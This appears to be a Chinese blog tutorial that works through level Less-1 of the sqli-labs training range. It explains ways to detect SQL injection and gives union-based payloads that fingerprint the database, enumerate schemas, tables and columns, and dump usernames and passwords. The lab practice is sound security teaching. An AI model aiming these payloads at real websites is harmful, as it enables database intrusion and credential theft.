sqli-labs解题笔记~训练篇

sqli-labs解题笔记~训练篇

前言

经过了两个阶段的过渡,现在可以使用靶场进行训练试试
我所使用的靶场是使用vulstudy搭建的,也可以使用phpstudy搭建线下的靶场。
具体搭建方法不提了,再回顾一下sql注入方式,以及判断方式

sql注入方式

1.报错注入(联合查询)
  1)字符型
  2)数字型
2.报错注入(基于二次注入)
3.盲注
  1)基于布尔值
  2)基于时间
4.UPDATE型注入练习
5.INSERT型注入练
6. HTTP头部注入
 1)基于Referer
 2)基于UserAgent
 3)基于Cookie
7. 二次排序注入练习

判断是否存在sql注入

像这种在url中可以看到?id=……的, 就是get请求,可以在url中看到传递的参数。

简单判定有无漏洞:
粗略型:提交单引号’
逻辑型(数字型注入):and 1=1/and 1=2
逻辑型(字符型注入):'and'1'='1/'and'1'='2
逻辑型(搜索型注入):%'and 1=1 and'%'='%/%'and 1=2 and'%'='%
简单判断数据库信息:
粗略型:
加单引号’(根据服务器报错的信息来判断)
加;--(; 表示分离,– 则是注释符,; 和–MSSQL 数据库有,ACCESS 数据库没有)

逻辑型:
and user>0
and (select count() from msysobjects)>0 ……(页面错误为 access 数据库)
and (select count() from sysobjects)>0 ……(页面正常为 MSSQL 数据库)
and db_name()>0 ……(爆数据库名)
and version>0(爆 SQLServer 版本信息以及服务器操作系统的类型和版本信息)
判断 MSSQL 权限:
and 0<>(Select ISSRVROLEMEMBER('sysadmin'))--(页面正常则为 SA)
and 0<>(Select IS_MEMBER('db_owner'))--(页面正常则为 db_owner)
and 0<>(Select IS_MEMBER('public'))--(页面正常则是 public)

注意:
以上方法适用于参数是 int 数字型的时候。
若为字符型,需在参数后添加单引号’并在查询语句后添加;--,搜索型注入以此类推。

开始训练!

Less-1

在这里插入图片描述
提示输入id参数,输入

?id=1 and 1 = 2 --+

得到正常回显,判断此处不是数字型注入

这时我们在参数后加一个’

?id=1'

在这里插入图片描述
得知这是一个mysql数据库,并且回显不正常,可能存在sql注入漏洞。
同时get参数被‘单引号括在一起。
注释尾部

?id=1' --+

在这里插入图片描述
回显正常,所以此处是字符型注入。

order by子句快速猜解表中的列数
order by 4 --+

在这里插入图片描述

发现到了4列是报错,所以表中只有三列。

union select语句回显
猜解列数还有一种方法如:
'union select 1 --+
'union select 1,2 --+
'union select 1,2,3 --+
......

在这里插入图片描述

一直增加数字,如果字段数和数字的数量不一致的话会显示报错,一直增加到数字到不报错,最后数字的值就是表的列数

已知列数为三列,且有两个显示位
在这里插入图片描述
使用联合查询,查看回显:。

mysql函数
version()				# 获取mysql数据库版本
database()				# 获取当前数据库名
user()					# 获取用户名
current_user()			# 获取当前用户名
system_user()			# 获取系统用户名
@@datadir				# 获取数据库路径
@@version_compile_os	# 获取操作系统版本
爆mysql版本和操作系统信息
?id=-1'union select 1,version(),@@version_compile_os --+

在这里插入图片描述

爆数据库用户名和数据库名
?id=-1'union select 1,user(),database() --+

在这里插入图片描述

爆数据库路径
?id=-1'union select 1,2,@@datadir --+

在这里插入图片描述

显示位空显
null
爆库名
union select 1,null,schema_name from information_schema.schemata limit 0,1 --+			# 爆出一个数据库
union select 1,null,group_concat(schema_name) from information_schema.schemata --+		# 爆出全部数据库

在这里插入图片描述

爆表名
union select 1,null,(select table_name from information_schema.tables where table_schema = database() limit 0,1) --+			# 爆出数据库" security "里的一个表名
union select 1,null,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+			# 爆出数据库" security "里的所有表名

在这里插入图片描述

爆列名
union select 1,null,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1) --+				# 从表名" users "中爆出一个字段来
union select 1,null,( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users' ) --+			# 从表名" users "中爆出全部字段来

在这里插入图片描述

爆数据
union select 1,null,concat(id,0x7e,username,0x7e),password from users limit 0,1 --+					# 从" users "表里对应的列名中爆出一个数据来
union select 1,null,(select group_concat(concat(id,0x7e,username,0x7e,password)) from users) --+		# 从" users "表里对应的列名中爆出所有数据来

在这里插入图片描述

结语

第一关基本就是这样,这次就到这里。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值